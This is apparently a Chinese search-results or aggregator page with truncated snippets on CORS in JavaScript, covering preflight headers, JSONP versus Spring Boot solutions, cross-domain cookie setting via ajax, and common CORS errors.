    该字段必需,它的值是逗号分隔的一个字符串,表明服务器支持的所有跨域请求的方法。注意,返回的是所有支持的方法,而不单是浏览器请求的那个方法。这是为了避免多次"预检"请求。 (2)Access-Control-Allow-...
  • CORS,HTTP,跨域,跨域资源共享
  • 传统的跨域方案时使用JSONP,但是JSONP只支持GET请求,不支持其他类型的请求,不过在spring框架中,也对于跨域资源共享也提供了解决方案。 实现 1、创建两个springboot项目,第一个名为study,端口为8080;第二个名...
  • 需求背景: aaa.com站点需向bbb.com站点种cookies 实现思路: aaa.com站点用ajax调用bbb.com站点的php接口,bbb... 实现代码: ...aaa.com站点的js代码 $.ajax({ url: 'http://bbb.com/setcookies', type: 'POS...
  • 用客户端访问A服务器web项目的时候,使用ajax从数据库中读出的数据会提示【需要跨域资源共享(CORS)】。 于是乎,总结一下。 CORS:Cross-Origin Resource Sharing(跨域资源共享) CORS被浏览器支持的版本情况如下...

空空如也

空空如也

1 2 3 4 5 ... 20
收藏数 11,497
精华内容 4,598
关键字:

js跨域资源共享错误